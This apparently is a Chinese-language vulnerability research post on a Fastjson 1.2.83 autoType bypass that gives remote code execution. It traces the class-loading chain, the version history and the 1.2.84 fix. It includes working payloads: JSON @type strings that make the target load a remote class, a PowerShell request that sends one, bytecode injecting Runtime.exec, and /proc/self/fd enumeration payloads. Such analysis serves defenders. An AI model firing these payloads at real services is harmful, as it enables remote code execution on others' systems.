FastJson1.2.83绕过

Fastjson版本列表网址如下

1
https://central.sonatype.com/artifact/com.alibaba/fastjson/versions

2022-06-13 阿里巴巴官方发布1.2.83修复了CVE-2022-25845也就是使用Throwable绕过AutoType,同时,这一版本也作为Fastjson 1系列的终结之作,开始全新制作Fastjson 2系列

image-20260819143519457

当然也就很轻易意识到1.2.83被绕过了,也就是我在这篇文章研究的重点

一、绕过

此次修复对应cve标号为CVE-2026-16723

2026-07-21 FearsOff 公司发布

1
https://fearsoff.org/research/fastjson-1-2-83-rce

也算是第一个披露这个吧

alibaba 公告

1
https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83

image-20260819154406360

1.复现

目标需要是一个fat jar启动的程序而不是单纯类路径

攻击方也需要有服务器将恶意类挂载到监听端口

1
https://cdn.jsdelivr.net/gh/zc-18/chuanimages@main/img/202608192021102.7z

这个是我实现的服务器与攻击端源码

环境方面

1
2
3
JDK 8u65
目标使用 fat-JAR
FastJSON 是 1.2.83以及以下

二者启动之后,使用payload去访问对应接口就可以触发

image-20260819204632428

注意点

1.需要直接去调用

1
2
3
4
5
6
$body = '{"@type":"jar:http:..2130706433:9000.probe!.POC","x":1}'
Invoke-RestMethod `
-Uri http://127.0.0.1:8080/parse-async `
-Method Post `
-ContentType 'application/json' `
-Body $body

这个接口,如果先调用/info 或 /parse

1
2
3
4
5
6
7
1. /parse 首次访问 ParserConfig.global;
2. ASMClassLoader 永久绑定到 TomcatEmbeddedWebappClassLoader;
3. /parse-async 虽然切换了 TCCL;
4. POC 已经加载成功,但 FastjsonASMDeserializer_1_POC.createInstance() 生成的 new POC 仍由旧的 ASM loader 解析;
5. 会出现:
NoClassDefFoundError
Caused by: ClassNotFoundException

2.想要实现命令执行

src/main/java/lab/attacker/CraftedProbeGenerator.java下加入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
initializer.visitMethodInsn(
Opcodes.INVOKESTATIC,
"java/lang/Runtime",
"getRuntime",
"()Ljava/lang/Runtime;",
false);

initializer.visitLdcInsn("calc.exe");

initializer.visitMethodInsn(
Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime",
"exec",
"(Ljava/lang/String;)Ljava/lang/Process;",
false);

3.切换攻击服务器类之后攻击失败

需要重新启动一下目标程序,因为之前的请请求已经打入缓存里

2.黑名单绕过

checkAutoType函数第一段

字串

1
{"@type":"jar:http:..2130706433:9000.probe!.POC","x":1}

当匹配到@type

进入到加载类阶段,也就是DefaultJSONParser#parseObject

然后会进入类加载检查函数 checkAutoType,这个就是这里研究的重点

类名也就是typeNamejar:http:..2130706433:9000.probe!.POC这样,肯定不会被黑名单匹配到,也就是没有黑白名单匹配的烦恼

然后就进到了重要的绕过逻辑

image-20260820170949037

2.1、获取类名

1
String resource = typeName.replace('.', '/') + ".class";

逻辑就是将typeName中的.号用/替代我们的payload

1
jar:http:..2130706433:9000.probe!.POC

经过转换之后就是

1
jar:http://2130706433:9000/probe!/POC.class

2130706433 是 127.0.0.1 地址的十进制整数表示

2.2、数据流进入

因为defaultClassLoader 通常是 null,所以走下面一条方式

1
2
is = ParserConfig.class.getClassLoader()
.getResourceAsStream(resource);

本质上就是

拿到ParserConfig类的类加载器,接着调用其getResourceAsStream方法

规定目标必须时fat-JAR启动

所以 ParserConfig.class.getClassLoader() 是:

org.springframework.boot.loader.LaunchedURLClassLoader

这个类的继承关系如下

image-20260820171934316

LaunchedURLClassLoader类中没有定义getResourceAsStream方法,所以会调用父类重写的getResourceAsStream方法

具体逻辑如下

java/net/URLClassLoader#getResourceAsStream

image-20260820175124685

此时还有一个细节

1
jar:http://2130706433:9000/probe!/POC.class

符合

jar:<外层 JAR URL>!/<JAR 内部条目>

也就是

1
2
外层 JAR URL = http://2130706433:9000/probe
内部条目 = POC.class

所以请求的是/probe获取到probe.jar,然后再返回poc.class

具体代码逻辑如下

jar:http://2130706433:9000/probe!/POC.class拆分具体逻辑

1
2
3
4
5
url.openConnection()
└─ jar Handler.openConnection()
└─ new sun.net.www.protocol.jar.JarURLConnection(url, handler)
└─ super(url)
└─ java.net.JarURLConnection.parseSpecs(url)

image-20260820185947888

具体拆分函数

java/net/JarURLConnection#parseSpecs

image-20260820190223404

发起请求去下载保存probe.jar代码逻辑

image-20260820182339978

接着是具体发起网络请求

image-20260820183236474

分解恶意类poc.class具体逻辑

image-20260820183642413

image-20260820183622930

也就是这样

image-20260820184005699

至此,第二点完毕,也就是返回了恶意服务器上的poc.class恶意类数据流

2.3、包装ClassReader

Fastjson 使用的是自己的轻量 ASM,com.alibaba.fastjson.asm.ClassReade

ASM 就是一个 Java 字节码操作和分析框架,用来在字节码层面直接读取、生成、修改 .class 文件,而不是操作 Java 源码

1
ClassReader classReader = new ClassReader(is, true);

作用就是

去将is也就是加载到的poc.class类消费处理

image-20260820193633069

2.4、匹配注解

1
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);

是为了匹配方法名,并不会在这里执行静态初始化代码

表示

目标方法名:
目标参数数量:0

本质就是无参构造方法,这里的作用就是保存一个匹配条件,为下一步做准备

1
classReader.accept(visitor);

具体逻辑

第一步

image-20260820200748361

image-20260820201008750

所以我们在编写poc类的时候特意为添加条件注解

1
2
3
4
writer.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;",
true
);

同时注意accept函数还判断了 readAnnotations是否存在才走的下一步,而这个参数刚好在包装是被赋值为True

至此,黑名单绕过的投毒实现完毕

image-20260820201444463

3.恶意类加载

接下来就到了

1
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

这个的具体逻辑

jsonType参数为true

意味着此时参数为

1
2
3
4
5
clazz = TypeUtils.loadClass(
"jar:http:..2130706433:9000.probe!.POC",
defaultClassLoader,此时为null
true
);

3.1、进入远程加载

这里分析的是进入到URLClassLoader#findClass这个常见发起外部请求的方法

com/alibaba/fastjson/util/TypeUtils#loadClass

image-20260821105624698

org/springframework/boot/loader/LaunchedURLClassLoader#loadClass

这里的loadClass函数本质就是调用父类也就是

而父类的URLClassLoader也没有直接重写loadClass而是它内部类重写了,所以不算

URLClassLoader的父类``SecureClassLoader直接没有重写loadclass函数

image-20260821110309876

所以直接调用了祖师爷

java/lang/ClassLoader#loadclass

image-20260821110614855

此时,调用类为LaunchedURLClassLoader调用loadclassLaunchedURLClassLoader没有重写findclass函数,由此调用父类URLClassLoader重写的

所以这里准确的调用链就是

1
2
3
ClassLoader.loadClass()
└─ this.findClass(name)
└─ URLClassLoader.findClass(name)

自此进入一个算是常见的外部请求方法

3.2、发起外部请求

这里分析到java发起到外部请求的底层

java/net/URLClassLoader#findClass

image-20260821111540302

sun/misc/URLClassPath#getResource

image-20260821111702865

然后就是重量级选手,之前fastjson单独实现的逻辑

之前所研究到的发起外部请求的实现

image-20260821111903953

3.3、加载字节码文件

接着就是函数的返回与加载字节码

image-20260821113325135

进一步返回到

java/net/URLClassLoader#findClass

image-20260821113403147

调用defineClass加载字节码文件,常见函数没什么好说的

然后就是返回

ClassLoader类的返回

image-20260821113952880

com/alibaba/fastjson/parser/ParserConfig#checkAutoType的返回

image-20260821114113396

3.4、栈图

image-20260821112740941

4.恶意类实例化

上一步中

checkAutoType函数已经返回我们要加载的恶意类

image-20260821153349439

接着就走到图中第二点获取反序列化器和反序列化类

4.1、获取反序列化器

获取反序列化器的栈图如下

image-20260821153555393

这里返回的是根据poc.class动态生成的 FastjsonASMDeserializer_1_POC 反序列化器

和普通分支的区别就是

image-20260821153720176

具体逻辑如下

1
ObjectDeserializer deserializer = config.getDeserializer(clazz);

image-20260821153957708

接着进入到com/alibaba/fastjson/parser/ParserConfig#createJavaBeanDeserializer

image-20260821154721703

当前类下还由一个重要的beanInfo参数 涉及到俩方面

image-20260821155338063

这个方法结果就是返回俩种情况下的反序列化器

条件就是asmEnable的值

这个值 分析代码之后,由以下几个方面控制

1
2
3
4
5
类层面:类或父类非 public、带泛型、是接口、非静态内部类、类名不符合 ASM 命名规则、属于外部类、字段数量超过 200、没有无
参构造方法、被 @JSONType(asm = false) 禁用,或属于 XML 特殊类。

字段和方法层面:字段类型不可访问、非静态内部类字段、字段或方法名不合法、只有 getter 没有可写 setter、setter 参数超过一
个,或者 @JSONField 使用了复杂配置

进一步会调用

com/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory#createJavaBeanDeserializer

image-20260821164921277

ok,现在就是拿到了一个

FastjsonASMDeserializer_1_POC 的实例

存着

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
参数
clazz
└─ 远程 POC.class

beanInfo
└─ POC 的构造方法、字段、setter 等元数据

fieldDeserializers
└─ 每个 JSON 字段对应的解析器

方法
createInstance(...)
└─ 内部字节码等价于 new POC()

deserialzeArrayMapping(...)
└─ 处理数组形式 JSON

deserialze(...)
└─ 当前 POC 没有字段,因此继承 JavaBeanDeserializer 的实现

4.2、实例化恶意类

实例化恶意类的代码点也就是

1
Object obj = deserializer.deserialze(this, clazz, fieldName);

此时deserializer是动态生成的FastjsonASMDeserializer_1_POC

因为我们的poc.class没有参数,所以直接动态生成的反序列化器没有deserialzer方法

会直接调用父类JavaBeanDeserializer实现的方法

image-20260821170020288

这个方法也比较又意思

会调用一个无限循环读取我们payload剩余的字串

1
"x": 1}

image-20260821170319351

还会遇到老熟人@Type二次读取,当然现在重点不是他

image-20260821170653147

接着匹配到 } 时终止循环返回类

image-20260821171320665

栈图逻辑就是

image-20260821171415163

5.一些额外的点

5.1、二次请求绕过

1
2
https://pentesterlab.com/exercises/fastjson-jsontype-rce-ii
https://github.com/dinosn/fastjson-jsontype-rce-lab

这一部分需要服务器是linux才可以实现,我没有复现只研究原理

5.1.1、linux前置知识

Linux 会把进程信息放在虚拟目录 /proc 中,/proc//fd/,同时self 表示当前进程,比如

/proc/1234/fd/15,就表示1234进程的第 15 个文件描述符,一般这个文件描述符是链接形式的

1
2
/proc/self/fd/15 -> /tmp/jar_cache123456.tmp
表示 FD 15 当前指向 JVM 缓存的 JAR 文件

并且这个 fd 的序号是随机的,不可控,所以我们只能枚举

5.1.2、真实请求过程

然后我们发送类似下面的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"value": [
{
"@type": "jar:http:..2130706433:9000.probe-fd!.foo.Exception"
},
{
"@type": "jar:file:.proc.self.fd.15!.fd15.Exception"
},
{
"@type": "jar:file:.proc.self.fd.16!.fd16.Exception"
}
]
}
这里我们提前知道jar包启动的进程为15,真实攻击中通常展开成:
fd3 到 fd160
5.1.3、jar包缓存请求

jar:http:..2130706433:9000.probe-fd!.foo.Exception

这个会变为

jar:http://2130706433:9000/probe-fd!/foo/Exception.clas

然后下载到本地,为什么这里可以发起外部请求,而之后类加载的时候不可以呢?

1
2
3
4
5
6
7
// 先找 class 文件资源
InputStream in = loader.getResourceAsStream(resource);

// 再尝试真正加载类
if (jsonType) {
clazz = TypeUtils.loadClass(typeName, ...);
}

fastjson中的重要代码如上,这里第一个这个就是直接从底层的形式去加载这个恶意的外部jar,加载之后缓存为

1
/tmp/jar_cachexxxx.tmp

同时留下文件描述符

1
/proc/self/fd/15 -> /tmp/jar_cachexxxx.tmp
5.1.4、真实文件请求

jar:file:/proc/self/fd/15!/fd15/Exception.class表示路径file:/proc/self/fd/15这个对应的jar包下的内部存在的/fd15/Exception.class意思就是,打开当前 Java 进程 FD 15 指向的 JAR,并读取其中的 fd15/Exception.class,因为springboot项目中线程的默认上下文类加载器为TomcatEmbeddedWebappClassLoader这个,会导致无法远程加载类,但是可以加载本地文件存在的类

jar包情况

同时二阶段使用的jar包内部结构大概是下面情况

1
2
3
4
5
6
7
probe-fd.jar
├── foo/Exception.class
├── fd3/Exception.class
├── fd4/Exception.class
├── fd5/Exception.class
├── ...
└── fd160/Exception.class

问题1:

为啥俩个数字要一样呢?jar:file:/proc/self/fd/15!/fd15/Exception.class

目的是为了正确的构造类,如果是这样

1
jar:file:/proc/self/fd/16!/fd17/Exception.class

正确的找到了fd16这个缓存的jar,找到了Exception类,但是Exception我们构造的时候所对应的字节码内部类名为16,这样就会导致类名不一致,类加载失败

问题2:

第一个@Type失败之后为啥没抛出异常停止,为啥要有Exception这个?

1
2
3
4
5
6
7
8
if (!autoTypeSupport) {
if (typeName.endsWith("Exception")
|| typeName.endsWith("Error")) {
return null;
}

throw new JSONException("autoType is not support");
}

因为fastjson处理异常有一个这个逻辑,如果我们没有以这个Exception结尾就没办法继续枚举我们剩下的poc啦

然后我认为这个逻辑也就是长亭在公告里提到的

image-20260828161055959

5.2、发起俩次请求

发起俩次请求这个问题比较有说法

深入调试后确认在

image-20260824151022923

具体的逻辑是

image-20260824151638846

这里,一次是探测,一次是真正的去加载

直接上栈图吧

image-20260824151902706

image-20260824151931549

跟踪源码确认逻辑存在,不是ai幻觉

image-20260824152113869

5.3、目标启动方式

也就是

1
2
3
4
5
java.lang.ClassLoader
└── java.net.URLClassLoader
├── sun.misc.Launcher$AppClassLoader (JDK8, 即传统意义的 "AppClassLoader")
├── org.springframework.boot.loader.LaunchedURLClassLoader
(Spring Boot fat jar 专用,用来从嵌套 jar 里加载 BOOT-INF/classes、

LaunchedURLClassLoaderAppClassLoader之间的问题

tcclThread Context ClassLoader(线程上下文类加载器)的缩写

每一个线程都可以通过

1
Thread.currentThread().getContextClassLoader()

获取独属于自己线程的上下文类加载器

Spring Boot项目一共有俩种启动方式

  1. IDE 里直接右键运行 XxxApplication.main()

    此时,主线程的上下文累加载器就是sun.misc.Launcher$AppClassLoader

    业务代码等等类都是通过这个类加载器加载此时,主线程的上下文类加载器就是sun.misc.Launcher$AppClassLoader

    业务代码等等类都是通过这个类加载器加载

  2. java -jar xxx.jar(fat jar 方式)

    这时要先用 AppClassLoader 加载 org.springframework.boot.loader.JarLauncher

    JarLauncher 内部再创建一个自定义的 LaunchedURLClassLoader,去加载 BOOT-INF/classesBOOT-INF/lib/*.jar 里的类,这时的上下文类加载器就是LaunchedURLClassLoader

    业务代码(包括启动类本身)实际上是被 LaunchedURLClassLoader 加载的

这俩类加载器有一个区别就是

image-20260824201542597

具体的原因就是他们的URLClassPath参数不同

image-20260824205320953

具体启动的时候发生下面的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
在 fat-JAR 启动时:

LaunchedURLClassLoader
→ URLClassLoader.findResource()
→ Spring Boot jar.Handler
→ 解析 jar:http://.../probe!/POC.class
→ 请求远程 /probe

IDEA 直接运行时:

AppClassLoader
→ URLClassLoader.findResource()
→ 普通 URLClassPath
→ 按 target/classes 或普通 jar 资源查找
→ 找不到这个特殊资源

因此说必须使用fatjar的形式去启动程序

image-20260824205722947

5.4、默认类加载器

也就是LaunchedURLClassLoaderTomcatEmbeddedWebappClassLoader之间的问题

1
2
3
4
5
6
7
8
java.lang.ClassLoader
├── java.net.URLClassLoader
│ └── LaunchedURLClassLoader (Spring Boot fat jar loader)

└── java.net.URLClassLoader
└── WebappClassLoaderBase
└── ParallelWebappClassLoader
└── TomcatEmbeddedWebappClassLoader (Tomcat webapp loader)

web请求进入到java线程时,程序会单独分出一个线程去处理这个任务,此时处理线程的上下文类加载器是TomcatEmbeddedWebappClassLoader

1
Web 请求到达时,Tomcat 从预先创建好的 worker 线程池中取出一个空闲线程来处理该请求。在真正执行到 Servlet/Controller 代码之前,Tomcat 会临时把这个线程的 tccl 切换为该 webapp 对应的 TomcatEmbeddedWebappClassLoader;请求处理结束后,Tomcat 会把该线程的 tccl 恢复为切换前的值,以便线程池复用

接着讲我们之前的绕过逻辑

checkAutoType函数

image-20260824170642421

检验的时候因为使用的是ParseConfig的类加载器,肯定是Launched,但是TypeUtils.loadclass出现了问题

image-20260824170914786

当上下文类加载器为TomcatEmbeddedWebappClassLoader时,只能加载普通 Webapp 类,当前这个特殊类名经过 Tomcat 的 Class.forName() 委托路径后,被类名校验挡住了

也就是下面的

image-20260824172133942

因此对于当前项目代码

image-20260824172415024

也就解释了为啥 parse接口无法触发类加载

5.5、目标服务器缓存

攻击端换了新的 POC.class,但只要 @type 字符串不变,目标 JVM 根本不会再次请求攻击服务器

checkAutoType函数具体逻辑

image-20260824203356524

image-20260824203456029

因此,恶意poc切换之后需要更换名字,或者重启目标服务器

二、引入与修复

2020-03-28 fastjson官方发布1.2.68,这个恶意逻辑被引入,在2022-05-22 发布1.2.83,接着发布1.2.83_noneautotype,自此fastjson1.x 线此后沉寂 4 年 2 个月,在2026-07-29 发布了1.2.84

1.修复

修复版本也就是1.2.84做出的处理很简单

1.1、checkAutoType函数image-20260825201828799

1.2.84版本中,在这一段的之前的逻辑中加入

image-20260825202010263

这个安全检查的逻辑也比较简单

image-20260825202909559

但是越是简单的逻辑,就能直接堵死掉我们的绕过方式,这也是代码的魅力吧

1.2、loadClass函数

针对于这个函数也加入了拦截逻辑

image-20260825204531117

对于缓存的处理

image-20260825204942191

2.问题的引入

对于这个cve绕过逻辑引入的部分,目前主流文章都是以fastjson1.2.68为主,也就是2020-03-28发布的,但是这个版本当初发布时说明了,只是为了增加一个safemode这样的一个安全开关,引入一个安全逻辑怎么可能会造成问题呢,深入探索之后锁定到2018-08-04发布的fastjson1.2.48,但是进一步锁定到的是fastjson1.2.37

相关链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
snyk官方
https://security.snyk.io/vuln/SNYK-JAVA-COMALIBABA-18296111

alibaba通报
https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83

github情报
https://github.com/advisories/GHSA-crf3-v9rr-v7hj

gitlab情报
https://advisories.gitlab.com/maven/com.alibaba/fastjson/CVE-2026-16723/

cve公告
https://cvefeed.io/vuln/detail/CVE-2026-16723

2.1、补丁1.2.68

补丁1.2.68做出的改动主要就是下面俩点

safemode第一次引入,单模式关闭,对本次绕过不影响

image-20260826203238705

接着就是增加一些黑名单,用来防止某些类的绕过,也不影响

image-20260826203008465

为了证明一下,我特意找到了1.2.67做证据

image-20260826203718971

2.1、补丁1.2.48

因为恶意绕过代码逻辑锁定确认到

image-20260826171601898

这个恶意逻辑就是在1.2.48引入,具体理解可以见下方,当初1.2.48做出的改动一共有俩份,一是去将loadclass的缓存参数设置为false

image-20260826174851846

阻止的是class类缓存投毒那一块的绕过

另一处改动就是这里

image-20260826185001099

1
https://github.com/alibaba/fastjson/compare/1.2.47...1.2.48

也就是实质名归的引入了恶意代码逻辑

image-20260826190252322

测试过后也确实可以触发我们的poc

image-20260826201439494

但是,真的只是这么容易吗

2.3、补丁1.2.37

之前的研究发现,重要的远程类加载逻辑本质上就是

1
TypeUtils.loadClass(typeName, defaultClassLoader, false);

这一块内部的LaunchedURLClassLoader#loadClass发起远程类加载,所以没必要前面的探测,如果可以直接进行调用上面的代码接着返回类,poc直接联通

同时,在fastjson1.2.37时,也是JSONType这个sink第一次出现

1
https://github.com/alibaba/fastjson/compare/1.2.36...1.2.37

image-20260826193350704

然后这一块的绕过逻辑就是这样

image-20260826194006358

同时,只是直接进行类加载的话,那目标端对攻击端的探测也只会存在一次,复现成功

image-20260826200641075

同时,恶意服务器记录也和预期相同

image-20260826195223636

对于fastjson1.2.36

因为没有绕过逻辑,复现不成功,抛出异常

image-20260826200934511

所以一顿追溯,找到了恶意逻辑引入的最开始的地方,也就是CVE-2022-25845最小影响到的版本是fastjson1.2.37

总之,问题在fastjson1.2.37引入,随后fastjson1.2.48做出调整,就是先探测在加载类然后在fastjson1.2.84得到修复,对于noneautotype系列不影响